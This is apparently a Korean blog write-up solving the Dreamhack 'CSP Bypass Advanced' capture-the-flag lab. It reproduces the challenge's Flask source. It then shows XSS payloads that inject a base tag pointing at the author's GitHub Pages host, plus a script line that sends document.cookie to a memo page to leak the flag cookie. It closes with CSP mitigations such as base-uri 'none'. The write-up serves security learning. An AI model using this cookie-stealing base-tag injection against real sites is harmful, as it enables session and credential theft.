๐๏ธAccess
Exercise: CSP Bypass์ ํจ์น๋ ๋ฌธ์ ์ด๋ค.
๐พExploit Algorithm & Payload
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
nonce = os.urandom(16).hex()
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}'; object-src 'none'"
nonce = os.urandom(16).hex()
return response
@app.route("/")
def index():
return render_template("index.html", nonce=nonce)
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", param=param, nonce=nonce)
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html", nonce=nonce)
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return f'<script nonce={nonce}>alert("wrong??");history.go(-1);</script>'
return f'<script nonce={nonce}>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text, nonce=nonce)
app.run(host="0.0.0.0", port=8000)
#1
: '/' ๊ธฐ๋ณธ ํ์ด์ง
: '/vuln' ํ์ด์ง์๋ ์ ๋ ฅํ ํ๋ผ๋ฏธํฐ์ ๊ฐ์ด ํ๋ฉด์ ์ถ๋ ฅ๋จ์ ํ์ธํ ์ ์๋ค. (/vuln?param=)
http://host3.dreamhack.games:12309/vuln?param=<img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>
: '/memo' ํ์ด์ง์๋ ์ ๋ ฅํ ํ๋ผ๋ฏธํฐ์ ๊ฐ์ด ํ๋ฉด์ ์ถ๋ ฅ๋จ์ ํ์ธํ ์ ์๋ค. (/memo?memo=)
: ๋จ, ๊ทธ๋๋ก ํ๋ฉด์ด ์ถ๋ ฅ๋จ์ ์ ์ ์๋ค.
http://host3.dreamhack.games:12309/memo?memo=hello
: '/flag' ํ์ด์ง์๋ ์ ๋ฌ๋ URL์ ์์ ์ด์ฉ์๊ฐ ์ ์ํ ์ ์๊ฒ ๋์ด์๋ค.
(ํด๋น ์ด์ฉ์์ ์ฟ ํค์์ flag ํ๋์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์)
#2
http://host3.dreamhack.games:12309/vuln?param=<script>alert(document.cookie);</script>
: '/vuln' ํ์ด์ง์์ script๋ฌธ์ ์ฌ์ฉํ์ฌ F12 [๊ฐ๋ฐ์ ๋๊ตฌ]๋ก ๋ฐ์์ ํ์ธํ์๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
: CSP๊ฐ ์ ์ฉ๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
> script-src 'self' 'nonce-{nonce}’
: ์คํฌ๋ฆฝํธ ํ๊ทธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ๋ฅผ ์ ์ด, ํ์ด์ง์ ํ์ฌ ์ถ์ฒ ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉ, nonce ์์ฑ์ ์ค์ ํ์ฌ ์์ธ์ ์ธ๋ผ์ธ ์ฝ๋ ์ฌ์ฉ ๊ฐ๋ฅ
> 'unsafe-inline’
:์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ ํ์ฉ
: ๋ฐ๋ผ์ ์คํฌ๋ฆฝํธ๋ฌธ์ ์ธ๋ผ์ธ ํํ๋ก ์ ์ฉํ์ฌ ์์ฑํ๊ณ ์ ์๋ํ๋ค.
#3
http://host3.dreamhack.games:12309/vuln?param=<script src = 'vuln?param=alert(document.cookie);'><script>
: ‘<’(๊บฝ์ ) token์ด ๋จนํ์ง ์๋ ๊ฒ์ ํ์ธ ํ ์ ์๋ค.
: ๊ตฌ์กฐ๋ ๋ค์๊ณผ ๊ฐ๋ค.
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return render_template("vuln.html", param=param, nonce=nonce)
: ๋ฌธ์ ์ฝ๋ ํด์ ๋ถ๋ถ์ ์ดํผ๋ฉด vuln.html์ ๋ ๋๋งํด์ ๋ฆฌํดํ๋ ๊ฒ์ ์ ์ ์๋๋ฐ, ์ฌ๊ธฐ์ base-uri 'none' (base ํ๊ทธ URI ์ ํ) ์ ์ฑ ์ด ์๋ค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: ๋ฐ๋ผ์ ์๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ๋ URL๋ค์ด ๋ณธ๋ ์๋ํ ์์น๊ฐ ์๋ ๊ณต๊ฒฉ์์ ์๋ฒ์ ์์์ ๊ฐ๋ฆฌํค๊ฒ ๋์ด ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ํตํด ์์์ ์คํฌ๋ฆฝํธ ๋ฑ์ ์ฝ์ ํ ์ ์๊ฒ ๋จ
----------------------------------------------------------
| baseํ๊ทธ: ๋๋๋ง ๋ถ๋ถ(๋ฌธ์)์ ๊ฒฝ๋ก๋ฅผ ์ํ๋ ๊ณณ์ผ๋ก ์ง์ ํ์ฌ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์์
#4
// ๊ณต๊ฒฉ์์ ์๋ฒ์ ์์์ ๊ฐ๋ฆฌํค๊ฒ ๋๋ ์์น๋ผ ๊ฐ์
https://gituseryun.github.io/Dremhack_Exploit/csp_bypass_advanced.html
http://host3.dreamhack.games:12309/vuln?param=<base href="https://gituseryun.github.io/Dremhack_Exploit/csp_bypass_advanced.html">
: ๋ฐ๋ผ์ ๊ฐ์ธ ์๋ฒ์ ์ ๊ทผํ ์ ์๋ ์น ์ฌ์ดํธ๋ฅผ ์ฌ๋ฆฌ๊ณ ๋ฐ์์ ํ์ธํ๋ค.
: ๋ค์๊ณผ ๊ฐ์ด ์์ฑํ ๊ณต๊ฒฉ์ ์๋ฒ ์์์ ๊ฐ๋ฅดํค๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
: ์ด๊ฒ์ ์ด์ฉํ๋ฉด '/memo' ํ์ด์ง์์ ๊ณต๊ฒฉ์์ ์๋ฒ ๊ฒฐ๊ณผ๋ฅผ ์ถ๋ ฅํ ์ ์๊ฒ ๋ค ํ๋จ๋๋ค.
#5
// ํ์ฌ ์๋๊ฒฝ๋ก
/static/js/jquery.min.js
/static/js/bootstrap.min.js
// exploit code
location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie
: ์๋ ๊ฒฝ๋ก์์ ํ์ธํ๋ ๊ณณ์ ์์น์ ํด๋๋ฅผ ์์ฑํ๊ณ ์ฟ ํค๊ฐ์ ์์๋ด๊ธฐ ์ํ ์ต์คํ๋ก์ ์ฝ๋๋ฅผ ์์ฑํ๋ค.
<base href=”https://gituseryun.github.io/static/js/jquery.min.js”>
๐Analysis and results for obtaining the Flag DH{…}
๐Summary
์ปจํ ์ธ ๋ณด์ ์ ์ฑ (CSP; Content Wecurity Policy)์ XSS ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ํผํด๋ฅผ ์ต์ํํ ์ ์๋ ์ข์ ๋ฐฉ์์ด๋ XSS ๊ณต๊ฒฉ์ ์์ ๋ฌด๋ ฅํ ํ๋ ์๋จ์ ์๋๊ธฐ ๋๋ฌธ์ ์๋ชป ์ฌ์ฉ ๋ฐ ์ฐํ๊ฐ ํ์ฉ๋ ์ ๋ณด์ ํด๊ฒฐ์ฑ ์ผ๋ก์จ ์ญํ ์ด ๋ถ๊ฐํ๊ฒ ๋จ
- CSP(Content Security Policy, ์ปจํ ์ธ ๋ณด์ ์ ์ฑ )๊ด๋ จ ์๋ฃ
> https://yun-2.tistory.com/entry/CSP-Bypass
- base-uri ๋ฏธ์ง์
: HTML ํ์ดํผ๋งํฌ์์ ํธ์คํธ ์ฃผ์ ์์ด ๊ฒฝ๋ก๋ฅผ ์ง์ ํ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ํ์ฌ ๋ฌธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ์ฃผ์๋ฅผ ํด์
: ๊ณต๊ฒฉ์๊ฐ '<base href="">'์ ๊ฐ์ ๋งํฌ์ ์ ์ฝ์ ํ๊ฒ ๋๋ค๋ฉด, ์ถํ ์๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ๋ URL๋ค์ ๋ณธ๋ ์๋ํ ์์น๊ฐ ์๋ ๊ณต๊ฒฉ์์ ์๋ฒ์ ์์์ ๊ฐ๋ฆฌํค๊ฒ ๋์ด ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ํตํด ์์์ ์คํฌ๋ฆฝํธ ๋ฑ์ ์ฝ์ ํ ์ ์๊ฒ ๋จ
// base ํ๊ทธ์ URL ์ ํ
base-uri 'none’
// base ํ๊ทธ๋ฅผ ์ด์ฉํ ์์ ์์ ์ ๋ก๋ (base-uri CSP ๊ตฌ๋ฌธ์ด ์ง์ ๋์ง ์์ ๊ฒฝ์ฐ)
// jquery.js๋ base ํ๊ทธ์ ์ํด ํด๋น URL์ ๊ฐ๋ฆฌํด
<base href="">
<script src="/jquery.js" nonce=NONCE>
- ๋์๋ฐฉ์ -
- ์ ํํ CSP ์ค์
- 'base-uri ์ง์ '
- ์ ์ฑ
๊ฐํ
(๊ฐ๋ฅํ ๊ฒฝ์ฐ 'default-src'๋ก ์ค์ ํ, ํ์ํ ์คํฌ๋ฆฝํธ๋ ์คํ์ผ ์ํธ์ ๋ํด์๋ง 'script-src', 'style-src'๋ฑ์ ์ง์ ํ๋ ๋ฐฉ๋ฒ์ด ๊ฐ๋ ฅ)
...
'[Dreamhack]WebHacking > ๋ก๋๋งต_ClientSide' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level2: CSP Bypass (0) | 2023.11.18 |
---|---|
[Dreamhack] Level3: XSS Filtering Bypass Advanced (0) | 2023.09.02 |
[Dreamhack] Level1: XSS Filtering Bypass (0) | 2023.08.28 |